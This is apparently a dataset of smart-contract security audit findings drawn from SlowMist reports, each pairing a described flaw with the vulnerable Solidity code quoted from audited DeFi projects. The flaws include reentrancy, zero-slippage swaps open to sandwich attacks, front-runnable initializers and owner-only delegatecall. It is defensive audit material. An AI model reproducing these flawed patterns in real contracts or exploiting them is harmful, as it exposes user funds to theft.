"https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Cell Core_en-us.pdf", + "body": "contracts/Cell.sol The owner has too much authority, and if the owner's private key is leaked, the attacker can control the casting of NFT. contracts/Oracle.sol The owner has too much authority. If the owner's private key is leaked, the attacker can manipulate the price by setting setRates and setFixedPrice . contracts/Proxy.sol The owner's authority is too large. If the owner's private key is leaked, the attacker can withdraw the revenue in the contract. You can also set a malicious Oracle contract through setOracleAddress to control the price. contracts/Nucleus.sol The owner has too much authority. If the owner's private key is leaked, the attacker can set a malicious Oracle contract through setOracleAddress to control the price.", + "labels": [ + "SlowMist", + "Cell Core", + "Type: Authority Control Vulnerability Audit", + "Severity: Medium" + ] + }, + { + "title": "Preemptive Initialization", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Doubler - 20240117.pdf", + "body": "contracts/FRNFT.sol This function has the problem of being preempted. function initialize(address doublerPool) external { require(_initialized == false, \"initialized err\"); _initialized = true; _doublerPool = doublerPool; _grantRole(DOUBLER_ROLE, doublerPool); } contracts/Doubler.sol This function has the problem of being preempted. function initialize( address _initTeam, address _initEco, address _initFastPriceFeed, address _initDoublerNFT, address _initDbrTokenAddress, address _initMultiSigWallet, uint16 _initProtectBlock ) external { if (_initialized == true) revert E_Initialized(); _initialized = true; _team = _initTeam; _eco = _initEco; _fastPriceFeed = _initFastPriceFeed; _FRNFT = _initDoublerNFT; _ecoFeeRatio = 2000; // 20% * 100 _feeRatio = 20; // 0.2% * 100 _protectBlock = _initProtectBlock; _grantRole(DEFAULT_ADMIN_ROLE, _initMultiSigWallet); emit Initialize(_initTeam, _initFastPriceFeed, _initDoublerNFT, _initDbrTokenAddress, _initMultiSigWallet); }", + "labels": [ + "SlowMist", + "Doubler - 20240117", + "Type: Race Conditions Vulnerability", + "Severity: Suggestion" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Doubler - 20240117.pdf", + "body": "contracts/FastPriceFeed.sol The admin role can be set to price related, if the private key leakage will cause the price anomaly caused by the pool function is impaired. admin can newAsset admin can updatePriceAggregator admin can upgradePlan admin can setTwapInterval", + "labels": [ + "SlowMist", + "Doubler - 20240117", + "Type: Authority Control Vulnerability Audit", + "Severity: Medium" + ] + }, + { + "title": "Pool depth and TWAP interval in uniswap V3 price queries", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Doubler - 20240117.pdf", + "body": "contracts/FastPriceFeed.sol When getting the price of the token, you should pay attention to the depth of the corresponding pool, if the depth of the pool is too shallow and the price range is set too low, there is still a possibility of price manipulation. function getPriceFromDex(address _asset) internal view returns (uint256 price) { require(_isSupported[_asset], 'UniV3: oracle in mainnet not initialized yet!'); address uniswapV3Pool = _assetFeedMap[_asset]; uint32 twapInterval = _twapIntervals[_asset]; IUniswapV3Pool pool = IUniswapV3Pool(uniswapV3Pool); IUniswapV3Pool.Slot0 memory slot0; IUniswapV3Pool.Observation memory obs; slot0 = pool.slot0(); obs = pool.observations((slot0.observationIndex + 1) % slot0.observationCardinality); require(obs.initialized, \"UNIV3: Pair did't initialized\"); uint32 delta = uint32(block.timestamp) - obs.blockTimestamp; require(delta >= twapInterval, 'UniV3: token pool does not have enough transaction history in mainnet'); uint32[] memory secondsAgos = new uint32[](2); secondsAgos[0] = twapInterval; secondsAgos[1] = 0; (int56[] memory tickCumulatives, ) = pool.observe(secondsAgos); uint160 sqrtPriceX96 = TickMath.getSqrtRatioAtTick( int24((tickCumulatives[1] - tickCumulatives[0]) / int56(uint56(twapInterval))) ); (uint256 price0, uint256 price1) = mockDexPrice(pool, sqrtPriceX96); return pool.token0() == _asset ? price0 : price1; }", + "labels": [ + "SlowMist", + "Doubler - 20240117", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Recommendations on the conditions of winner", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Doubler - 20240117.pdf", + "body": "contracts/Doubler.sol In some extreme cases, it may be possible to control the nal winner.", + "labels": [ + "SlowMist", + "Doubler - 20240117", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Suggestions for setTwapInterval", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Doubler - 20240117.pdf", + "body": "contracts/FastPriceFeed.sol It should be a supported token to set the interval. function setTwapInterval(address _asset, uint32 _twapInterval) external onlyRole(DEFAULT_ADMIN_ROLE) { require(!_isSupported[_asset], 'Oracle: do not support this token'); require(_plans[_asset] == Plan.DEX, \"setTwapInterval: Only dex _asset\"); require( MAX_INTERVA >= _twapIntervals[_asset] && _twapIntervals[_asset] >= MIN_INTERVA, 'setTwapInterval: Invalid twapInterval' ); emit SetTwapInterval(_asset, _twapIntervals[_asset], _twapInterval); _twapIntervals[_asset] = _twapInterval; }", + "labels": [ + "SlowMist", + "Doubler - 20240117", + "Type: Others", + "Severity: Low" + ] + }, + { + "title": "Redundant code", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Doubler - 20240117.pdf", + "body": "contracts/Doubler.sol The hot in the structure is not used. struct Pool { address asset; address creator; address terminator; uint16 fallRatio; uint16 profitRatio; uint16 rewardRatio; uint16 winnerRatio; uint32 double; uint32 lastLayer; uint256 tokenId; uint256 unitSize; uint256 maxRewardUnits; uint256 winnerOffset; uint256 endPrice; uint256 hot; //SLOWMIST// unused uint256 lastOpenPrice; uint256 tvl; uint256 amount; uint256 margin; uint256 joins; uint256 lastInputBlockNo; uint256 kTotal; }", + "labels": [ + "SlowMist", + "Doubler - 20240117", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Function permission control issues", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Doubler - 20240117.pdf", + "body": "contracts/FRNFT.sol The roles used by these functions are not set and cannot be executed subsequently. setTokenRoyalty resetTokenRoyalty setDefaultRoyaltyInfo deleteDefaultRoyalty", + "labels": [ + "SlowMist", + "Doubler - 20240117", + "Type: Authority Control Vulnerability Audit", + "Severity: Low" + ] + }, + { + "title": "Overlooking purchase price relative to target prot in pool ending logic", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Doubler - 20240117.pdf", + "body": "contracts/Doubler.sol The scenario where the purchase price is less than or equal to the target prot price has not been considered. When the price at the time of purchase is less than or equal to the target prot price, the purchase should not be allowed. Otherwise, users can manipulate the ending of the pool after purchasing to position themselves as the winner. function _input(AddInput memory _addInput, uint8 _decimals) internal returns (uint256 tokenId) { Pool memory pool = _poolMap[_addInput.poolId]; if (_addInput.margin == 0 || _addInput.margin > _addInput.amount || _addInput.margin.mod(pool.unitSize) != 0) revert E_Margin(); if (IERC20(pool.asset).allowance(_msgSender(), address(this)) < _addInput.margin) revert E_Approve(); if (IERC20(pool.asset).balanceOf(_msgSender()) < _addInput.margin) revert E_Balance(); if (_addInput.multiple < 1 || _addInput.margin.mul(_addInput.multiple) != _addInput.amount) revert E_Multiple(); if (_addInput.multiple > 1 && _addInput.multiple > _getMaxMultiple(pool, _addInput.curPrice, _decimals)) revert E_MultipleLimit(); _addInput.layer = _getLastLayer(_addInput.poolId, _addInput.curPrice, _addInput.amount); LayerData memory layer = _layerDataMap[_addInput.poolId][_addInput.layer]; if (layer.amount >= layer.cap) revert E_LayerCap(); if (layer.cap.sub(layer.amount) < _addInput.margin) { _addInput.margin = _addInput.amount = layer.cap.sub(layer.amount); } else { _addInput.amount = layer.cap.sub(layer.amount) < _addInput.amount ? layer.cap.sub(layer.amount) : _addInput.amount; } IERC20(pool.asset).safeTransferFrom(_msgSender(), address(this), _addInput.margin); uint256 layerAmount = _addTvl(_addInput); uint256 layerRanking = layerAmount.div(pool.unitSize); tokenId = IFRNFT(_FRNFT).mint( _msgSender(), _addInput.poolId, _addInput.layer, _addInput.margin, _addInput.amount, _addInput.curPrice, layerRanking ); emit NewInput( tokenId, _addInput.poolId, _msgSender(), _addInput.layer, _addInput.margin, _addInput.amount, _addInput.curPrice ); }", + "labels": [ + "SlowMist", + "Doubler - 20240117", + "Type: Others", + "Severity: High" + ] + }, + { + "title": "Excessive Authority Issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - wault.finance(WEXPolyMaster)_en-us.pdf", + "body": "The owner can set the value of wexPerBlock arbitrarily, which will affect the profit of wexReward, and there is no limit on the value range of wexPerBlock, and there is a issue of excessive authority. https://polygonscan.com/address/0xC8Bd86E5a132Ac0bf10134e270De06A8Ba317BFe#code function setWexPerBlock(uint256 _wexPerBlock) public onlyOwner { require(_wexPerBlock > 0, \"!wexPerBlock-0\"); wexPerBlock = _wexPerBlock; } Owner can add pool, can set the allocPoint of pool, there is a issue of selfish mining. function add( uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( 6 PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accWexPerShare: 0 }) ); function set( uint256 _pid, uint256 _allocPoint, bool _withUpdate ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add( _allocPoint ); poolInfo[_pid].allocPoint = _allocPoint; }", + "labels": [ + "SlowMist", + "wault.finance(WEXPolyMaster)", + "Type: Others", + "Severity: Low" + ] + }, + { + "title": "Event log missing", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - earning.farm_en-us.pdf", + "body": "12 contracts/core/EFLeverVault.sol Modifying important variables in the contract requires corresponding event records. function initAddresses(address[7] memory addr) public onlyOwner{ aave = addr[0]; balancer = addr[1]; balancer_fee = addr[2]; lido = addr[3]; asteth = addr[4]; curve_pool = addr[5]; weth = addr[6]; } contracts/core/EFCRVVault.sol Modifying important variables in the contract requires corresponding event records. function initAddresses(address[11] memory addr) public onlyOwner{ crv = addr[0]; usdc = addr[1]; eth_usdc_router = addr[2]; weth = addr[3]; cvxcrv = addr[4]; eth_crv_router = addr[5]; crv_cvxcrv_router = addr[6]; eth_usdt_router = addr[7]; usdt = addr[8]; oracle = addr[9]; staker = addr[10]; }", + "labels": [ + "SlowMist", + "earning.farm", + "Type: Malicious Event Log Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - earning.farm_en-us.pdf", + "body": "contracts/core/EFLeverVault.sol The owner's authority is too large. If the private key is lost, the attacker can use the pause function to transfer the funds in the contract through callWithData ,or directly transfer astheth. function callWithData(address payable to, bytes memory data, uint256 amount)public payable onlyOwner{ (bool status, ) = to.call.value(amount)(data); require(status, \"call failed\"); } function delegateCallWithData(address payable to, bytes memory data)public payable onlyOwner{ (bool status, ) = to.delegatecall(data); require(status, \"call failed\"); }", + "labels": [ + "SlowMist", + "earning.farm", + "Type: Authority Control Vulnerability", + "Severity: Medium" + ] + }, + { + "title": "Potential Sandwich Attack Risk", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - earning.farm_en-us.pdf", + "body": "contracts/core/EFCRVVault.sol 14 it will perform the token swap operation through the swapExactTokensForTokens function. But the incoming minAmountOut is 0 , which will not do slippage checking,There is a risk of being attacked by sandwiches. function depositStable(uint256 _amount) public payable nonReentrant{ require(!is_paused, \"paused\"); require(IERC20(usdc).allowance(msg.sender, address(this)) >= _amount, \"CFVault: not enough allowance\"); IERC20(usdc).safeTransferFrom(msg.sender, address(this), _amount); if (IERC20(usdc).allowance(address(this), eth_usdc_router) != 0){ IERC20(usdc).approve(eth_usdc_router, 0); } IERC20(usdc).approve(eth_usdc_router, _amount); uint256 weth_before = IERC20(weth).balanceOf(address(this)); address[] memory t = new address[](2); t[0] = usdc; t[1] = weth; UniswapV3Interface(eth_usdc_router).swapExactTokensForTokens(_amount, 0, t, address(this)); uint256 weth_amount = IERC20(weth).balanceOf(address(this)).safeSub(weth_before); if (IERC20(weth).allowance(address(this), eth_crv_router) != 0){ IERC20(weth).approve(eth_crv_router, 0); } IERC20(weth).approve(eth_crv_router, weth_amount); uint256 tt_before = IERC20(crv).balanceOf(address(this)); CurveInterface256(eth_crv_router).exchange(0, 1, weth_amount, 0); uint256 tt_amount = IERC20(crv).balanceOf(address(this)).safeSub(tt_before); _deposit(_amount, tt_amount); }", + "labels": [ + "SlowMist", + "earning.farm", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Potential Sandwich Attack Risk", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - earning.farm_en-us.pdf", + "body": "contracts/core/EFCRVVault.sol it will perform the token swap operation through the swapExactTokensForTokens function. But the incoming minAmountOut is 0 , which will not do slippage checking,There is a risk of being attacked by sandwiches. function withdraw(uint256 _amount, bool _use_stable) public nonReentrant{ require(!is_paused, \"paused\"); { uint256 total_balance = IERC20(ef_token).balanceOf(msg.sender); require(total_balance >= _amount, \"not enough LP tokens\"); } uint256 target_amount; { //if (IERC20(ef_token).totalSupply() == 0) require(false, \"000\"); uint256 lp_amount = _amount.safeMul(lp_balance).safeDiv(IERC20(ef_token).totalSupply()); uint256 target_before = IERC20(crv).balanceOf(address(this)); _withdraw(lp_amount); target_amount = IERC20(crv).balanceOf(address(this)).safeSub(target_before); } uint256 f = 0; if(withdraw_fee_ratio != 0 && fee_pool != address(0x0)){ f = target_amount.safeMul(withdraw_fee_ratio).safeDiv(ratio_base); target_amount = target_amount.safeSub(f); IERC20(crv).transfer(fee_pool, f); TokenInterfaceERC20(ef_token).destroyTokens(msg.sender, _amount); }else{ TokenInterfaceERC20(ef_token).destroyTokens(msg.sender, _amount); } if (!_use_stable){ IERC20(crv).transfer(msg.sender, target_amount); emit CFFWithdraw(msg.sender, target_amount, target_amount.safeMul(uint256(ChainlinkInterface(oracle).latestAnswer())).safeDiv(1e2 16 0), _amount, f, getVirtualPrice()); } else{ if (IERC20(crv).allowance(address(this), eth_crv_router) != 0){ IERC20(crv).approve(eth_crv_router, 0); } IERC20(crv).approve(eth_crv_router, target_amount); uint256 weth_amount; { uint256 weth_before = IERC20(weth).balanceOf(address(this)); CurveInterface256(eth_crv_router).exchange(1, 0, target_amount, 0); weth_amount = IERC20(weth).balanceOf(address(this)).safeSub(weth_before); } if (IERC20(weth).allowance(address(this), eth_usdc_router) != 0){ IERC20(weth).approve(eth_usdc_router, 0); } IERC20(weth).approve(eth_usdc_router, weth_amount); uint256 usdc_amount; { address[] memory t = new address[](2); t[0] = weth; t[1] = usdc; uint256 usdc_before = IERC20(usdc).balanceOf(address(this)); UniswapV3Interface(eth_usdc_router).swapExactTokensForTokens(weth_amount, 0, t, address(this)); usdc_amount = IERC20(usdc).balanceOf(address(this)).safeSub(usdc_before); } IERC20(usdc).transfer(msg.sender, usdc_amount); emit CFFWithdraw(msg.sender, target_amount, usdc_amount, _amount, f, getVirtualPrice()); } }", + "labels": [ + "SlowMist", + "earning.farm", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Redundant code", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - earning.farm_en-us.pdf", + "body": "contracts/erc20/ERC20Impl.sol onTransferDone function not being called function onTransferDone(address _from, address _to, uint256 _amount) internal { for(uint i = 0; i < transferListeners.length; i++){ TransferEventCallBack t = TransferEventCallBack(transferListeners[i]); t.onTransfer(_from, _to, _amount); } }", + "labels": [ + "SlowMist", + "earning.farm", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Redundant code", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - earning.farm_en-us.pdf", + "body": "contracts/core/EFLeverVault.sol IERC20(weth).balanceOf(address(this)) return result unused. function raiseActualLTV(uint256 lt) public onlyOwner{//take lt = 7500 uint256 e = getDebt(); uint256 st = getCollecteral(); require(e.safeMul(10000) < st.safeMul(mlr), \"no need to raise\"); uint256 x = st.safeMul(mlr).safeSub(e.safeMul(10000)).safeDiv(uint256(10000).safeSub(mlr));//x = 18 (mST-E)/(1-m) uint256 y = st.safeMul(lt).safeDiv(10000).safeSub(e).safeSub(1); if (x > y) {x = y;} IAAVE(aave).borrow(weth, x, 2, 0, address(this)); IWETH(weth).withdraw(IERC20(weth).balanceOf(address(this))); ILido(lido).submit.value(address(this).balance)(address(this)); IERC20(weth).balanceOf(address(this));//SlowMist//return result unused if (IERC20(lido).allowance(address(this), aave) != 0) {IERC20(lido).safeApprove(aave, 0);} IERC20(lido).safeApprove(aave, IERC20(lido).balanceOf(address(this))); IAAVE(aave).deposit(lido, IERC20(lido).balanceOf(address(this)), address(this), 0); emit ActualLTVChanged(e, st, getDebt(), getCollecteral()); }", + "labels": [ + "SlowMist", + "earning.farm", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - earning.farm_en-us.pdf", + "body": "contracts/core/EFLeverVault.sol If the owner permission is lost, the attacker can achieve free recharge by changing the address of the token, thereby taking away the funds in the contract. function initAddresses(address[7] memory addr) public onlyOwner{ aave = addr[0]; balancer = addr[1]; balancer_fee = addr[2]; lido = addr[3]; 19 asteth = addr[4]; curve_pool = addr[5]; weth = addr[6]; emit CFFNewAddress(addr); } contracts/core/EFCRVVault.sol function initAddresses(address[11] memory addr) public onlyOwner{ crv = addr[0]; usdc = addr[1]; eth_usdc_router = addr[2]; weth = addr[3]; cvxcrv = addr[4]; eth_crv_router = addr[5]; crv_cvxcrv_router = addr[6]; eth_usdt_router = addr[7]; usdt = addr[8]; oracle = addr[9]; staker = addr[10]; emit CFFNewAddress(addr); }", + "labels": [ + "SlowMist", + "earning.farm", + "Type: Authority Control Vulnerability", + "Severity: Low" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - earning.farm_en-us.pdf", + "body": "contracts/core/EFCRVVault.sol 20 delegateCallWithData is an arbitrary external call, if the private key is lost the attacker can unstake and transfer the funds And for users who have previously authorized the current contract, the attacker can transfer funds that are not operated by the user himself by constructing a malicious contract. function delegateCallWithData(address payable to, bytes memory data)public payable onlyOwner{ (bool status, ) = to.delegatecall(data); require(status, \"call failed\"); }", + "labels": [ + "SlowMist", + "earning.farm", + "Type: Authority Control Vulnerability", + "Severity: Critical" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Bitlayer Bridge.pdf", + "body": "1.The BitlayerBridge contracts are implemented using the OpenZeppelin upgradeable model, allowing the AdminRole role to perform contract upgrades. However, this design introduces an excessive privilege risk. 2.In the BitlayerBridge contract, the UnlockRole role can call the unlock function to unlock the ETH locked in the contract; the LiquidityRole role can call the removeLiquidityTo function to remove the liquidity of any address. BitlayerBridge.sol#L125-L134,L148-L163 function removeLiquidityTo(address to, uint256 amount) external onlyRole(LiquidityRole) whenNotPaused { ``` } function unlock(string memory _txHash, address to, uint256 amount) external onlyRole(UnlockRole) whenNotPaused { ``` } } 3.In the BitlayerBridge contract, AdminRole role can set important parameters of the contract. BitlayerBridge.sol function setFeeAddress function setLockFee function setMinLockAmount function setMaxLockAmount", + "labels": [ + "SlowMist", + "Bitlayer Bridge", + "Type: Authority Control Vulnerability Audit", + "Severity: Medium" + ] + }, + { + "title": "Missing zero address check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Bitlayer Bridge.pdf", + "body": "In the BitlayerBridge contract, the zero address check is missing in the initialize function and unlock function. BitlayerBridge.sol#L36-L75,L148-L163 function initialize( ) public initializer { feeAddress = _feeAddress; } function unlock(string memory _txHash, address to, uint256 amount) external onlyRole(UnlockRole) whenNotPaused { (bool success, bytes memory returndata) = payable(to).call{value: amount} (\"\"); }", + "labels": [ + "SlowMist", + "Bitlayer Bridge", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Return value not checked", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Bitlayer Bridge.pdf", + "body": "In the BitlayerBridge contract, the return value is not checked when the initialize function calls the _grantRole function. BitlayerBridge.sol#L36-L75 function initialize( ``` ) public initializer { _grantRole(AdminRole, admin); ``` }", + "labels": [ + "SlowMist", + "Bitlayer Bridge", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Parameter Validation Missing in unlock Function", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Bitlayer Bridge.pdf", + "body": "In the BitlayerBridge contract, the unlock function does not verify the validity of the parameters passed in. The UnlockRole role can enter any _txHash (not recorded by txUnlocked mapping) and amount to unlock the ETH in the contract and transfer it to the specied address. BitlayerBridge.sol#L148-L163 function unlock(string memory _txHash, address to, uint256 amount) external onlyRole(UnlockRole) whenNotPaused { bytes32 txHash = keccak256(abi.encode(_txHash)); require(!txUnlocked[txHash], \"txHash already unlocked\"); txUnlocked[txHash] = true; (bool success, bytes memory returndata) = payable(to).call{value: amount} (\"\"); require(success, string(returndata)); totalUnlocked += amount; emit NativeUnlocked(_txHash, to, amount); }", + "labels": [ + "SlowMist", + "Bitlayer Bridge", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Min lock amount not checked against max", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Bitlayer Bridge.pdf", + "body": "In the BitlayerBridge contract, whether the variable minLockAmount is less than the variable maxLockAmount is not checked in the initialize function, setMinLockAmount function, and setMaxLockAmount function. If the variable minLockAmount is greater than the variable maxLockAmount , the lock function cannot be used. BitlayerBridge.sol#L41-L85,L113-L118,L120-L125 function initialize( ``` ) public initializer { ``` minLockAmount = _minLockAmount; maxLockAmount = _maxLockAmount; } function setMinLockAmount(uint256 min) external onlyRole(AdminRole) { uint256 oldMin = minLockAmount; minLockAmount = min; emit MinLockAmountSet(oldMin, min); } function setMaxLockAmount(uint256 max) external onlyRole(AdminRole) { uint256 oldMax = maxLockAmount; maxLockAmount = max; emit MaxLockAmountSet(oldMax, max); }", + "labels": [ + "SlowMist", + "Bitlayer Bridge", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Reentrancy risks", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DappOS Contracts Core.pdf", + "body": "In the PayDB contract, the executeDstOrderETH , executeDstOrderETH , tryExecuteDstOrderETH , cancelOrderETH , _executeIsolateOrder , and _createSrcOrder functions do not add anti-reentrancy locks, and there is a risk of reentrancy attacks when calling the safeTransferETH function. contracts/core/PayDB.sol#L75-L153,L162-L249,L287-L335,L337-L383,L385-L475 function executeDstOrderETH( address orderOwner, address receiver, address wallet, ExePayOrderParam[] calldata eparams, IVWManager.VWExecuteParam calldata vwExeParam ) external payable override{ ```` if (eparams[i].tokenOut == address(0)) { TransferHelper.safeTransferETH( _realReceiver, eparams[i].amountOut ); totalETH += eparams[i].amountOut; } else { TransferHelper.safeTransferFrom( eparams[i].tokenOut, msg.sender, _realReceiver, eparams[i].amountOut ); } ```` } function tryExecuteDstOrderETH( address orderOwner, address receiver, address wallet, ExePayOrderParam[] calldata eparams, IVWManager.VWExecuteParam calldata vwExeParam ) external payable override { ```` if (eparams[i].tokenOut == address(0)) { TransferHelper.safeTransferETH( _realReceiver, eparams[i].amountOut ); totalETH += eparams[i].amountOut; } else { TransferHelper.safeTransferFrom( eparams[i].tokenOut, msg.sender, _realReceiver, eparams[i].amountOut ); } ```` } function cancelOrderETH( address sender, address receiver, CreatePayOrderParam[] calldata cparams, bytes32[] calldata workFlowHashs ) external payable override { ```` require(msg.value == totalETH,\"E18\"); if(totalETH > 0){ TransferHelper.safeTransferETH(sender, msg.value); } ```` } function _executeIsolateOrder( address receiver, address wallet, ExePayOrderParam[] calldata eparams, IVWManager.VWExecuteParam calldata vwExeParam ) internal { ```` if (eparams[i].tokenOut == address(0)) { TransferHelper.safeTransferETH( receiver, eparams[i].amountOut ); totalETH += eparams[i].amountOut; } else { TransferHelper.safeTransferFrom( eparams[i].tokenOut, msg.sender, receiver, eparams[i].amountOut ); } ```` } function _createSrcOrder( address _orderOwner, address wallet, address receiver, CreatePayOrderParam[] calldata cparams, VwOrderDetail calldata vwDetail, CallParam calldata callParam ) internal { ```` if (cparams[i].tokenIn == address(0)) { // Transfer ETH to node TransferHelper.safeTransferETH( cparams[i].node, cparams[i].amountIn ); totalEth += cparams[i].amountIn; } else { // Transfer ERC20 to node TransferHelper.safeTransferFrom( cparams[i].tokenIn, msg.sender, cparams[i].node, cparams[i].amountIn ); } ```` }", + "labels": [ + "SlowMist", + "DappOS Contracts Core", + "Type: Reentrancy Vulnerability", + "Severity: Low" + ] + }, + { + "title": "Unauthorized information status modication", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DappOS Contracts Core.pdf", + "body": "In the storeInfo function of the VWManager contract, we found the following issues 1. Any user can set the willDelete parameter of information stored by other users to false, thereby deleting infoSender[infoHash] so that it cannot be deleted. 2. Key Parameter Settings Unrecorded Events. 3. The function may be subject to MEV attacks, causing the user to store infoSender[infoHash] = msg.sender as the attacker's address when storing information. contracts/core/vwmanager/VWManager.sol#L295-L311 function storeInfo( bytes calldata info, bool willDelete ) external { if(info.length > 0){ bytes32 infoHash = keccak256(info); if(eip1271Info[infoHash].length == 0){ eip1271Info[infoHash] = info; emit InfoStored(infoHash, info); if(willDelete){ infoSender[infoHash] = msg.sender; } } else if(!willDelete) { delete infoSender[infoHash]; } } }", + "labels": [ + "SlowMist", + "DappOS Contracts Core", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Unveried feeReceiver parameter", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DappOS Contracts Core.pdf", + "body": "The cancelTx , changeOwner , approveResetter , and resetOwner functions of the VWManagerService contract, the feeReceiver parameter is not veried. It may be subject to MEV attack risk. The attacker replaces the feeReceiver parameters, causing losses. contracts/core/vwmanager/VWManagerService.sol#L53-L92,L123-L161,L177-L217,L227-L256 function cancelTx( uint256 code, address wallet, uint256 codeToCancel, FeeParam calldata fParam, bytes calldata signature ) external { bytes32 dataHash = keccak256( abi.encode( CANCEL_TYPEHASH, code, codeToCancel, fParam.gasToken, fParam.gasTokenPrice, fParam.priorityFee, fParam.gasLimit ) ); result[walletOwner[wallet]][codeToCancel] = uint256(CodeStatus.CANCELED); result[walletOwner[wallet]][code] = uint256(CodeStatus.SUCCEED); emit TxCanceled(codeToCancel); verifyOperation( walletOwner[wallet], domainSeparator[srcChain], dataHash, signature, CANCEL_TYPEHASH ); _walletPayFee(wallet, preGas, fParam); } function changeOwner( uint256 code, address wallet, address newOwner, FeeParam calldata fParam, bytes calldata signature ) external { bytes32 dataHash = keccak256( abi.encode( CHANGE_OWNER_TX_TYPEHASH, code, newOwner, fParam.gasToken, fParam.gasTokenPrice, fParam.priorityFee, fParam.gasLimit ) ); address previousOwner = _resetOwner(wallet, newOwner); result[walletOwner[wallet]][code] = uint256(CodeStatus.SUCCEED); verifyOperation( previousOwner, domainSeparator[srcChain], dataHash, signature, CHANGE_OWNER_TX_TYPEHASH ); _walletPayFee(wallet, preGas, fParam); } function approveResetter( uint256 code, address wallet, address resetter, bool approved, FeeParam calldata fParam, bytes calldata signature ) external returns (bytes32 dataHash) { dataHash = keccak256( abi.encode( RESETTER_APPROVE_TYPEHASH, code, resetter, approved, fParam.gasToken, fParam.gasTokenPrice, fParam.priorityFee, fParam.gasLimit ) ); approvedResetter[wallet] = approved ? resetter : address(0); emit ResetterChanged(approvedResetter[wallet]); result[walletOwner[wallet]][code] = uint256(CodeStatus.SUCCEED); verifyOperation( walletOwner[wallet], domainSeparator[srcChain], dataHash, signature, RESETTER_APPROVE_TYPEHASH ); _walletPayFee(wallet, preGas, fParam); } function resetOwner( uint256 code, address wallet, address newOwner, FeeParam calldata fParam, bytes calldata data ) external nonReentrant{ require ( IVWResetter(approvedResetter[wallet]).verify( wallet, newOwner, data, fParam.gasToken, fParam.gasTokenPrice, fParam.priorityFee, fParam.gasLimit ), \"E5\"); _resetOwner(wallet, newOwner); result[walletOwner[wallet]][code] = uint256(CodeStatus.SUCCEED); _walletPayFee(wallet, preGas, fParam); }", + "labels": [ + "SlowMist", + "DappOS Contracts Core", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Reentrancy risks", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DappOS Contracts Core.pdf", + "body": "In the PayLock contract, the deposit function does not add an anti-reentrancy lock, and there is a risk of reentrancy attacks when calling the safeTransferFrom function. 